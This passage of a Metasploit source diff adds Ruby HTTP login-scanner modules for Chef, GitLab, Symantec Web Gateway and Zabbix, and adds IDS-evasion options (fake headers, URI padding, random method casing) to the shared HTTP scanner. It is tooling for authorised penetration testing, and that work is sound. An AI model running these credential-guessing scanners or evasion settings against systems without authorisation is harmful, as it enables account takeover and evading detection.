data << "&authenticity_token=#{Rex::Text.uri_encode(csrf_token)}"
|
||||
data << "&name=#{Rex::Text.uri_encode(credential.public)}"
|
||||
data << "&password=#{Rex::Text.uri_encode(credential.private)}"
|
||||
data << "&commit=login"
|
||||
|
||||
opts = {
|
||||
'uri' => normalize_uri('/users/login_exec'),
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' => {
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'Cookie' => "#{self.session_name}=#{self.session_id}"
|
||||
}
|
||||
}
|
||||
|
||||
send_request(opts)
|
||||
end
|
||||
|
||||
|
||||
# Tries to login to Chef WebUI
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Hash]
|
||||
# * :status [Metasploit::Model::Login::Status]
|
||||
# * :proof [String] the HTTP response body
|
||||
def try_login(credential)
|
||||
|
||||
# Obtain a CSRF token first
|
||||
res = send_request({'uri' => normalize_uri('/users/login')})
|
||||
unless (res && res.code == 200 && res.body =~ /input name="authenticity_token" type="hidden" value="([^"]+)"/m)
|
||||
return {:status => Metasploit::Model::Login::Status::UNTRIED, :proof => res.body}
|
||||
end
|
||||
|
||||
csrf_token = $1
|
||||
|
||||
res = try_credential(csrf_token, credential)
|
||||
if res && res.code == 302
|
||||
opts = {
|
||||
'uri' => normalize_uri("/users/#{credential.public}/edit"),
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'Cookie' => "#{self.session_name}=#{self.session_id}"
|
||||
}
|
||||
}
|
||||
res = send_request(opts)
|
||||
if (res && res.code == 200 && res.body.to_s =~ /New password for the User/)
|
||||
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body}
|
||||
end
|
||||
end
|
||||
|
||||
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body}
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,96 @@
|
|||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
# GitLab login scanner
|
||||
class GitLab < HTTP
|
||||
# Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP
|
||||
CAN_GET_SESSION = false
|
||||
DEFAULT_PORT = 80
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
|
||||
# (see Base#set_sane_defaults)
|
||||
def set_sane_defaults
|
||||
self.uri = '/users/sign_in' if uri.nil?
|
||||
self.method = 'POST' if method.nil?
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def attempt_login(credential)
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp',
|
||||
service_name: ssl ? 'https' : 'http'
|
||||
}
|
||||
begin
|
||||
cli = Rex::Proto::Http::Client.new(host,
|
||||
port,
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => framework_module
|
||||
},
|
||||
ssl,
|
||||
ssl_version,
|
||||
proxies)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
|
||||
# Get a valid session cookie and authenticity_token for the next step
|
||||
req = cli.request_cgi(
|
||||
'method' => 'GET',
|
||||
'cookie' => 'request_method=GET',
|
||||
'uri' => uri
|
||||
)
|
||||
|
||||
res = cli.send_recv(req)
|
||||
|
||||
if res.body.include? 'user[email]'
|
||||
user_field = 'user[email]'
|
||||
elsif res.body.include? 'user[login]'
|
||||
user_field = 'user[login]'
|
||||
else
|
||||
fail RuntimeError, 'Not a valid GitLab login page'
|
||||
end
|
||||
|
||||
local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
|
||||
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
|
||||
|
||||
fail RuntimeError, 'Unable to get Session Cookie' unless local_session_cookie
|
||||
fail RuntimeError, 'Unable to get Authentication Token' unless auth_token
|
||||
|
||||
# Perform the actual login
|
||||
req = cli.request_cgi(
|
||||
'method' => 'POST',
|
||||
'cookie' => local_session_cookie,
|
||||
'uri' => uri,
|
||||
'vars_post' =>
|
||||
{
|
||||
'utf8' => "\xE2\x9C\x93",
|
||||
'authenticity_token' => auth_token,
|
||||
"#{user_field}" => credential.public,
|
||||
'user[password]' => credential.private,
|
||||
'user[remember_me]' => 0
|
||||
}
|
||||
)
|
||||
|
||||
res = cli.send_recv(req)
|
||||
if res && res.code == 302
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers)
|
||||
else
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
|
||||
end
|
||||
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
ensure
|
||||
cli.close
|
||||
end
|
||||
Result.new(result_opts)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -61,7 +61,8 @@ module Metasploit
|
|||
# @param (see Rex::Proto::Http::Resquest#request_raw)
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_raw(opts)
|
||||
res = cli.send_recv(req)
|
||||
|
@ -182,7 +183,7 @@ module Metasploit
|
|||
status = try_glassfish_3(credential)
|
||||
result_opts.merge!(status)
|
||||
end
|
||||
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
|
||||
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
end
|
||||
|
||||
|
|
|
@ -37,6 +37,122 @@ module Metasploit
|
|||
# @return [String] the Virtual Host name for the target Web Server
|
||||
attr_accessor :vhost
|
||||
|
||||
# @!attribute evade_uri_encode_mode
|
||||
# @return [String] The type of URI encoding to use
|
||||
attr_accessor :evade_uri_encode_mode
|
||||
|
||||
# @!attribute evade_uri_full_url
|
||||
# @return [Boolean] Whether to use the full URL for all HTTP requests
|
||||
attr_accessor :evade_uri_full_url
|
||||
|
||||
# @!attribute evade_pad_method_uri_count
|
||||
# @return [Fixnum] How many whitespace characters to use between the method and uri
|
||||
attr_accessor :evade_pad_method_uri_count
|
||||
|
||||
# @!attribute evade_pad_uri_version_count
|
||||
# @return [Fixnum] How many whitespace characters to use between the uri and version
|
||||
attr_accessor :evade_pad_uri_version_count
|
||||
|
||||
# @!attribute evade_pad_method_uri_type
|
||||
# @return [String] What type of whitespace to use between the method and uri
|
||||
attr_accessor :evade_pad_method_uri_type
|
||||
|
||||
# @!attribute evade_pad_uri_version_type
|
||||
# @return [String] What type of whitespace to use between the uri and version
|
||||
attr_accessor :evade_pad_uri_version_type
|
||||
|
||||
# @!attribute evade_method_random_valid
|
||||
# @return [Boolean] Whether to use a random, but valid, HTTP method for request
|
||||
attr_accessor :evade_method_random_valid
|
||||
|
||||
# @!attribute evade_method_random_invalid
|
||||
# @return [Boolean] Whether to use a random invalid, HTTP method for request
|
||||
attr_accessor :evade_method_random_invalid
|
||||
|
||||
# @!attribute evade_method_random_case
|
||||
# @return [Boolean] Whether to use random casing for the HTTP method
|
||||
attr_accessor :evade_method_random_case
|
||||
|
||||
# @!attribute evade_uri_dir_self_reference
|
||||
# @return [Boolean] Whether to insert self-referential directories into the uri
|
||||
attr_accessor :evade_uri_dir_self_reference
|
||||
|
||||
# @!attribute evade_uri_dir_fake_relative
|
||||
# @return [Boolean] Whether to insert fake relative directories into the uri
|
||||
attr_accessor :evade_uri_dir_fake_relative
|
||||
|
||||
# @!attribute evade_uri_use_backslashes
|
||||
# @return [Boolean] Whether to use back slashes instead of forward slashes in the uri
|
||||
attr_accessor :evade_uri_use_backslashes
|
||||
|
||||
# @!attribute evade_pad_fake_headers
|
||||
# @return [Boolean] Whether to insert random, fake headers into the HTTP request
|
||||
attr_accessor :evade_pad_fake_headers
|
||||
|
||||
# @!attribute evade_pad_fake_headers_count
|
||||
# @return [Fixnum] How many fake headers to insert into the HTTP request
|
||||
attr_accessor :evade_pad_fake_headers_count
|
||||
|
||||
# @!attribute evade_pad_get_params
|
||||
# @return [Boolean] Whether to insert random, fake query string variables into the request
|
||||
attr_accessor :evade_pad_get_params
|
||||
|
||||
# @!attribute evade_pad_get_params_count
|
||||
# @return [Fixnum] How many fake query string variables to insert into the request
|
||||
attr_accessor :evade_pad_get_params_count
|
||||
|
||||
# @!attribute evade_pad_post_params
|
||||
# @return [Boolean] Whether to insert random, fake post variables into the request
|
||||
attr_accessor :evade_pad_post_params
|
||||
|
||||
# @!attribute evade_pad_post_params_count
|
||||
# @return [Fixnum] How many fake post variables to insert into the request
|
||||
attr_accessor :evade_pad_post_params_count
|
||||
|
||||
# @!attribute evade_uri_fake_end
|
||||
# @return [Boolean] Whether to add a fake end of URI (eg: /%20HTTP/1.0/../../)
|
||||
attr_accessor :evade_uri_fake_end
|
||||
|
||||
# @!attribute evade_uri_fake_params_start
|
||||
# @return [Boolean] Whether to add a fake start of params to the URI (eg: /%3fa=b/../)
|
||||
attr_accessor :evade_uri_fake_params_start
|
||||
|
||||
# @!attribute evade_header_folding
|
||||
# @return [Boolean] Whether to enable folding of HTTP headers
|
||||
attr_accessor :evade_header_folding
|
||||
|
||||
# @!attribute ntlm_use_ntlmv2_session
|
||||
# @return [Boolean] Whether to activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
|
||||
attr_accessor :ntlm_use_ntlmv2_session
|
||||
|
||||
# @!attribute ntlm_use_ntlmv2
|
||||
# @return [Boolean] Whether to use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' is enabled
|
||||
attr_accessor :ntlm_use_ntlmv2
|
||||
|
||||
# @!attribute ntlm_send_lm
|
||||
# @return [Boolean] Whether to always send the LANMAN response (except when NTLMv2_session is specified)
|
||||
attr_accessor :ntlm_send_lm
|
||||
|
||||
# @!attribute ntlm_send_ntlm
|
||||
# @return [Boolean] Whether to activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
|
||||
attr_accessor :ntlm_send_ntlm
|
||||
|
||||
# @!attribute ntlm_send_spn
|
||||
# @return [Boolean] Whether to send an avp of type SPN in the NTLMv2 client blob.
|
||||
attr_accessor :ntlm_send_spn
|
||||
|
||||
# @!attribute ntlm_use_lm_key
|
||||
# @return [Boolean] Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
|
||||
attr_accessor :ntlm_use_lm_key
|
||||
|
||||
# @!attribute ntlm_domain
|
||||
# @return [String] The NTLM domain to use during authentication
|
||||
attr_accessor :ntlm_domain
|
||||
|
||||
# @!attribute digest_auth_iis
|
||||
# @return [Boolean] Whether to conform to IIS digest authentication mode.
|
||||
attr_accessor :digest_auth_iis
|
||||
|
||||
|
||||
validates :uri, presence: true, length: { minimum: 1 }
|
||||
|
||||
|
@ -47,7 +163,7 @@ module Metasploit
|
|||
# (see Base#check_setup)
|
||||
def check_setup
|
||||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {}, ssl, ssl_version, proxies
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
|
||||
)
|
||||
request = http_client.request_cgi(
|
||||
'uri' => uri,
|
||||
|
@ -55,7 +171,7 @@ module Metasploit
|
|||
)
|
||||
|
||||
begin
|
||||
# Use _send_recv instead of send_recv to skip automatiu
|
||||
# Use _send_recv instead of send_recv to skip automatic
|
||||
# authentication
|
||||
response = http_client._send_recv(request)
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
|
@ -71,14 +187,66 @@ module Metasploit
|
|||
error_message
|
||||
end
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param [Hash] opts native support includes the following (also see Rex::Proto::Http::Request#request_cgi)
|
||||
# @option opts [String] 'host' The remote host
|
||||
# @option opts [Fixnum] 'port' The remote port
|
||||
# @option opts [Boolean] 'ssl' The SSL setting, TrueClass or FalseClass
|
||||
# @option opts [String] 'proxies' The proxies setting
|
||||
# @option opts [Credential] 'credential' A credential object
|
||||
# @option opts ['Hash'] 'context' A context
|
||||
# @raise [Rex::ConnectionError] One of these errors has occured: EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
# @return [NilClass] An error has occured while reading the response (see #Rex::Proto::Http::Client#read_response)
|
||||
def send_request(opts)
|
||||
rhost = opts['host'] || host
|
||||
rport = opts['rport'] || port
|
||||
cli_ssl = opts['ssl'] || ssl
|
||||
cli_ssl_version = opts['ssl_version'] || ssl_version
|
||||
cli_proxies = opts['proxies'] || proxies
|
||||
username = opts['credential'] ? opts['credential'].public : ''
|
||||
password = opts['credential'] ? opts['credential'].private : ''
|
||||
realm = opts['credential'] ? opts['credential'].realm : nil
|
||||
context = opts['context'] || { 'Msf' => framework, 'MsfExploit' => framework_module}
|
||||
|
||||
res = nil
|
||||
cli = Rex::Proto::Http::Client.new(
|
||||
rhost,
|
||||
rport,
|
||||
context,
|
||||
cli_ssl,
|
||||
cli_ssl_version,
|
||||
cli_proxies,
|
||||
username,
|
||||
password
|
||||
)
|
||||
configure_http_client(cli)
|
||||
|
||||
if realm
|
||||
cli.set_config('domain' => credential.realm)
|
||||
end
|
||||
|
||||
begin
|
||||
cli.connect
|
||||
req = cli.request_cgi(opts)
|
||||
res = cli.send_recv(req)
|
||||
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||
raise Rex::ConnectionError, e.message
|
||||
ensure
|
||||
cli.close
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
# Attempt a single login with a single credential against the target.
|
||||
#
|
||||
# @param credential [Credential] The credential object to attempt to
|
||||
# login with.
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
ssl = false if ssl.nil?
|
||||
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
|
@ -94,32 +262,13 @@ module Metasploit
|
|||
result_opts[:service_name] = 'http'
|
||||
end
|
||||
|
||||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {}, ssl, ssl_version,
|
||||
proxies, credential.public, credential.private
|
||||
)
|
||||
|
||||
http_client = config_client(http_client)
|
||||
|
||||
if credential.realm
|
||||
http_client.set_config('domain' => credential.realm)
|
||||
end
|
||||
|
||||
begin
|
||||
http_client.connect
|
||||
request = http_client.request_cgi(
|
||||
'uri' => uri,
|
||||
'method' => method
|
||||
)
|
||||
|
||||
response = http_client.send_recv(request)
|
||||
response = send_request('credential'=>credential, 'uri'=>uri, 'method'=>method)
|
||||
if response && response.code == 200
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers)
|
||||
end
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
|
||||
rescue Rex::ConnectionError => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
ensure
|
||||
http_client.close
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
|
@ -127,12 +276,53 @@ module Metasploit
|
|||
|
||||
private
|
||||
|
||||
def config_client(client)
|
||||
client.set_config(
|
||||
# This method is responsible for mapping the caller's datastore options to the
|
||||
# Rex::Proto::Http::Client configuration parameters.
|
||||
def configure_http_client(http_client)
|
||||
http_client.set_config(
|
||||
'vhost' => vhost || host,
|
||||
'agent' => user_agent
|
||||
)
|
||||
client
|
||||
|
||||
possible_params = {
|
||||
'uri_encode_mode' => evade_uri_encode_mode,
|
||||
'uri_full_url' => evade_uri_full_url,
|
||||
'pad_method_uri_count' => evade_pad_method_uri_count,
|
||||
'pad_uri_version_count' => evade_pad_uri_version_count,
|
||||
'pad_method_uri_type' => evade_pad_method_uri_type,
|
||||
'pad_uri_version_type' => evade_pad_uri_version_type,
|
||||
'method_random_valid' => evade_method_random_valid,
|
||||
'method_random_invalid' => evade_method_random_invalid,
|
||||
'method_random_case' => evade_method_random_case,
|
||||
'uri_dir_self_reference' => evade_uri_dir_self_reference,
|
||||
'uri_dir_fake_relative' => evade_uri_dir_fake_relative,
|
||||
'uri_use_backslashes' => evade_uri_use_backslashes,
|
||||
'pad_fake_headers' => evade_pad_fake_headers,
|
||||
'pad_fake_headers_count' => evade_pad_fake_headers_count,
|
||||
'pad_get_params' => evade_pad_get_params,
|
||||
'pad_get_params_count' => evade_pad_get_params_count,
|
||||
'pad_post_params' => evade_pad_post_params,
|
||||
'pad_post_params_count' => evade_pad_post_params_count,
|
||||
'uri_fake_end' => evade_uri_fake_end,
|
||||
'uri_fake_params_start' => evade_uri_fake_params_start,
|
||||
'header_folding' => evade_header_folding,
|
||||
'usentlm2_session' => ntlm_use_ntlmv2_session,
|
||||
'use_ntlmv2' => ntlm_use_ntlmv2,
|
||||
'send_lm' => ntlm_send_lm,
|
||||
'send_ntlm' => ntlm_send_ntlm,
|
||||
'SendSPN' => ntlm_send_spn,
|
||||
'UseLMKey' => ntlm_use_lm_key,
|
||||
'domain' => ntlm_domain,
|
||||
'DigestAuthIIS' => digest_auth_iis
|
||||
}
|
||||
|
||||
# Set the parameter only if it is not nil
|
||||
possible_params.each_pair do |k,v|
|
||||
next if v.nil?
|
||||
http_client.set_config(k => v)
|
||||
end
|
||||
|
||||
http_client
|
||||
end
|
||||
|
||||
# This method sets the sane defaults for things
|
||||
|
@ -157,9 +347,21 @@ module Metasploit
|
|||
self.ssl = true
|
||||
end
|
||||
|
||||
if self.ssl.nil?
|
||||
self.ssl = false
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Combine the base URI with the target URI in a sane fashion
|
||||
#
|
||||
# @param [String] target_uri the target URL
|
||||
# @return [String] the final URL mapped against the base
|
||||
def normalize_uri(target_uri)
|
||||
(self.uri.to_s + "/" + target_uri.to_s).gsub(/\/+/, '/')
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -10,10 +10,9 @@ module Metasploit
|
|||
# (see Base#attempt_login)
|
||||
def attempt_login(credential)
|
||||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {}, ssl, ssl_version, proxies
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
|
||||
)
|
||||
|
||||
http_client = config_client(http_client)
|
||||
configure_http_client(http_client)
|
||||
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
|
|
|
@ -33,7 +33,8 @@ module Metasploit
|
|||
result_opts[:service_name] = 'http'
|
||||
end
|
||||
begin
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_cgi({
|
||||
'method'=>'POST',
|
||||
|
@ -49,7 +50,7 @@ module Metasploit
|
|||
else
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
|
||||
end
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
|
||||
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
end
|
||||
Result.new(result_opts)
|
||||
|
|
|
@ -35,7 +35,8 @@ module Metasploit
|
|||
begin
|
||||
cred = Rex::Text.uri_encode(credential.private)
|
||||
body = "data%5BLogin%5D%5Bowner_name%5D=admin&data%5BLogin%5D%5Bowner_passwd%5D=#{cred}"
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_cgi(
|
||||
'method' => method,
|
||||
|
|
|
@ -62,6 +62,11 @@ module Metasploit
|
|||
end
|
||||
rescue Rex::ConnectionError, EOFError, Timeout::Error => e
|
||||
result_options.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
rescue Msf::Db::PostgresPR::AuthenticationMethodMismatch => e
|
||||
result_options.merge!({
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
proof: e.message
|
||||
})
|
||||
end
|
||||
|
||||
if pg_conn
|
||||
|
|
|
@ -21,7 +21,7 @@ module Metasploit
|
|||
|
||||
req_opts = {
|
||||
'method' => 'POST',
|
||||
'uri' => '/proxy/ssllogin',
|
||||
'uri' => uri,
|
||||
'vars_post' => {
|
||||
'redirecturl' => '',
|
||||
'redirectquerystring' => '',
|
||||
|
@ -33,7 +33,8 @@ module Metasploit
|
|||
res = nil
|
||||
|
||||
begin
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_cgi(req_opts)
|
||||
res = cli.send_recv(req)
|
||||
|
|
|
@ -0,0 +1,121 @@
|
|||
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
class SymantecWebGateway < HTTP
|
||||
|
||||
DEFAULT_PORT = 443
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
|
||||
|
||||
|
||||
# Checks if the target is Symantec Web Gateway. The login module should call this.
|
||||
#
|
||||
# @return [Boolean] TrueClass if target is SWG, otherwise FalseClass
|
||||
def check_setup
|
||||
login_uri = normalize_uri("#{uri}/spywall/login.php")
|
||||
res = send_request({'uri'=> login_uri})
|
||||
|
||||
if res && res.body.include?('Symantec Web Gateway')
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
|
||||
# Returns the latest sid from Symantec Web Gateway.
|
||||
#
|
||||
# @return [String] The PHP Session ID for Symantec Web Gateway login
|
||||
def get_last_sid
|
||||
@last_sid ||= lambda {
|
||||
# We don't have a session ID. Well, let's grab one right quick from the login page.
|
||||
# This should probably only happen once (initially).
|
||||
login_uri = normalize_uri("#{uri}/spywall/login.php")
|
||||
res = send_request({'uri' => login_uri})
|
||||
|
||||
return '' unless res
|
||||
|
||||
cookies = res.get_cookies
|
||||
@last_sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''
|
||||
}.call
|
||||
end
|
||||
|
||||
|
||||
# Actually doing the login. Called by #attempt_login
|
||||
#
|
||||
# @param username [String] The username to try
|
||||
# @param password [String] The password to try
|
||||
# @return [Hash]
|
||||
# * :status [Metasploit::Model::Login::Status]
|
||||
# * :proof [String] the HTTP response body
|
||||
def get_login_state(username, password)
|
||||
# Prep the data needed for login
|
||||
sid = get_last_sid
|
||||
protocol = ssl ? 'https' : 'http'
|
||||
peer = "#{host}:#{port}"
|
||||
login_uri = normalize_uri("#{uri}/spywall/login.php")
|
||||
|
||||
res = send_request({
|
||||
'uri' => login_uri,
|
||||
'method' => 'POST',
|
||||
'cookie' => sid,
|
||||
'headers' => {
|
||||
'Referer' => "#{protocol}://#{peer}/#{login_uri}"
|
||||
},
|
||||
'vars_post' => {
|
||||
'USERNAME' => username,
|
||||
'PASSWORD' => password,
|
||||
'loginBtn' => 'Login' # Found in the HTML form
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
return {:status => LOGIN_STATUS::UNABLE_TO_CONNECT, :proof => res.to_s}
|
||||
end
|
||||
|
||||
# After login, the application should give us a new SID
|
||||
cookies = res.get_cookies
|
||||
sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''
|
||||
@last_sid = sid # Update our SID
|
||||
|
||||
if res.headers['Location'].to_s.include?('executive_summary.php') && !sid.blank?
|
||||
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.to_s}
|
||||
end
|
||||
|
||||
{:status => LOGIN_STATUS::INCORRECT, :proof => res.to_s}
|
||||
end
|
||||
|
||||
|
||||
# Attempts to login to Symantec Web Gateway. This is called first.
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
proof: nil,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
|
||||
begin
|
||||
result_opts.merge!(get_login_state(credential.public, credential.private))
|
||||
rescue ::Rex::ConnectionError => e
|
||||
# Something went wrong during login. 'e' knows what's up.
|
||||
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -10,8 +10,9 @@ module Metasploit
|
|||
# (see Base#attempt_login)
|
||||
def attempt_login(credential)
|
||||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {}, ssl, ssl_version, proxies
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
|
||||
)
|
||||
configure_http_client(http_client)
|
||||
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
|
|
|
@ -0,0 +1,137 @@
|
|||
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# The Zabbix HTTP LoginScanner class provides methods to do login routines
|
||||
# for Zabbix 2.4 and 2.2
|
||||
class Zabbix < HTTP
|
||||
|
||||
DEFAULT_PORT = 80
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
|
||||
# @!attribute version
|
||||
# @return [String] Product version
|
||||
attr_accessor :version
|
||||
|
||||
# @!attribute zsession
|
||||
# @return [String] Cookie session
|
||||
attr_accessor :zsession
|
||||
|
||||
# Decides which login routine and returns the results
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result]
|
||||
def attempt_login(credential)
|
||||
result_opts = { credential: credential }
|
||||
|
||||
begin
|
||||
status = try_login(credential)
|
||||
result_opts.merge!(status)
|
||||
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
end
|
||||
|
||||
|
||||
# (see Base#check_setup)
|
||||
def check_setup
|
||||
begin
|
||||
res = send_request({'uri' => normalize_uri('/')})
|
||||
return "Connection failed" if res.nil?
|
||||
|
||||
if res.code != 200
|
||||
return "Unexpected HTTP response code #{res.code} (is this really Zabbix?)"
|
||||
end
|
||||
|
||||
if res.body.to_s !~ /Zabbix ([^\s]+) Copyright .* by Zabbix/m
|
||||
return "Unexpected HTTP body (is this really Zabbix?)"
|
||||
end
|
||||
|
||||
self.version = $1
|
||||
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
return "Unable to connect to target"
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param (see Rex::Proto::Http::Resquest#request_raw)
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_raw(opts)
|
||||
res = cli.send_recv(req)
|
||||
|
||||
# Found a cookie? Set it. We're going to need it.
|
||||
if res && res.get_cookies =~ /zbx_sessionid=(\w*);/i
|
||||
self.zsession = $1
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Sends a login request
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Rex::Proto::Http::Response] The HTTP auth response
|
||||
def try_credential(credential)
|
||||
|
||||
data = "request="
|
||||
data << "&name=#{Rex::Text.uri_encode(credential.public)}"
|
||||
data << "&password=#{Rex::Text.uri_encode(credential.private)}"
|
||||
data << "&autologin=1"
|
||||
data << "&enter=Sign%20in"
|
||||
|
||||
opts = {
|
||||
'uri' => normalize_uri('index.php'),
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' => {
|
||||
'Content-Type' => 'application/x-www-form-urlencoded'
|
||||
}
|
||||
}
|
||||
|
||||
